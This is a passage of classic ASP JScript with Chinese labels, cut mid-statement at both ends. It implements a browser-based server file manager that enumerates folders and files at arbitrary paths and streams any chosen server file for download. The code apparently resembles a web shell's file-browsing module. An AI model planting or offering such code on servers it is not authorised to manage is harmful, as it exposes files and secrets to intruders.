ath, x.Attributes, "路径: \"" + x.Path + "\"", "属性: " + GetAttribute(x.Attributes));if(!x.isRootFolder){a[a.length-1]=(new Array).concat(a[a.length-1],Array("创建时间: " + FormatDateTime(x.DateCreated), "修改时间: " + FormatDateTime(x.DateLastModified), "访问时间: " + FormatDateTime(x.DateLastAccessed)))};try{a[a.length-1]=(new Array).concat(a[a.length-1],Array("", "目录数: " + x.subfolders.count + " ", "文件数: " + x.files.count + " "))};catch(e){a[a.length-1]=(new Array).concat(a[a.length-1],Array("", "<span class=error>错误: 没有权限</span>"))};this.CurrentFolder = a;return a;};this.GetFolderList = function(sFolderSpec){var fso = this.fso;var a = new Array();var folder = fso.GetFolder(sFolderSpec);var e = new Enumerator(folder.SubFolders);if(!folder.isRootFolder){a[a.length] = new Array(true, "<font face=''wingdings 3'' class=''ItemIconStyle''>Í</font>", "<span class=''ItemTitle''><nobr>..</nobr></span>", "",folder.ParentFolder,folder.ParentFolder.attributes,"","","","");};else{a[a.length] = new Array(true, "<font face=''wingdings'' class=''ItemIconStyle''>:</font>", "<span class=''ItemTitle''>..</span>", "","","","","","","");};for (; !e.atEnd(); e.moveNext()){var x = e.item();a[a.length] = new Array(true, "<font face=''wingdings'' class=''ItemIconStyle''>0</font>", "<span class=''ItemTitle''><nobr>" + x.name + "</nobr></span>", x.Name, x.Path, x.Attributes, "", x.Type, FormatDateTime(x.DateLastModified), GetAttribute(x.Attributes, true), "路径: \"" + x.Path + "\"", "属性: " + GetAttribute(x.Attributes), "创建时间: " + FormatDateTime(x.DateCreated), "修改时间: " + FormatDateTime(x.DateLastModified), "访问时间: " + FormatDateTime(x.DateLastAccessed));};var folder = fso.GetFolder(sFolderSpec);var e = new Enumerator(folder.Files);for (; !e.atEnd(); e.moveNext()){var x = e.item();a[a.length] = new Array(true, GetIconByType_File(x.name), "<span class=''ItemTitle''><nobr>" + x.name + "</nobr></span>", x.Name, x.Path, x.Attributes, FormatSize(x.size), x.Type, FormatDateTime(x.DateLastModified), GetAttribute(x.Attributes, true), "路径: \"" + x.Path + "\"", "类型: " + x.Type, "大小: " + FormatSize(x.size), "属性: " + GetAttribute(x.Attributes), "创建时间: " + FormatDateTime(x.DateCreated), "修改时间: " + FormatDateTime(x.DateLastModified), "访问时间: " + FormatDateTime(x.DateLastAccessed));};return a;};this.DownloadFile = function(sTarget){try{var fso = this.fso;var file = fso.GetFile(sTarget);var sFileName = file.name;var sFileSize = file.size;fso = null;var st = new ActiveXObject("ADODB.Stream");with(st) { mode=3; type=1; open(); loadFromFile(sTarget); };Response.addHeader("Content-Disposition", "attachment; filename=" + sFileName);Response.addHeader("Content-Length", sFileSize);Response.charSet = "UTF-8";Response.contentType = "application/octet-stream";Response.binaryWrite(st.read());st.close();st = nul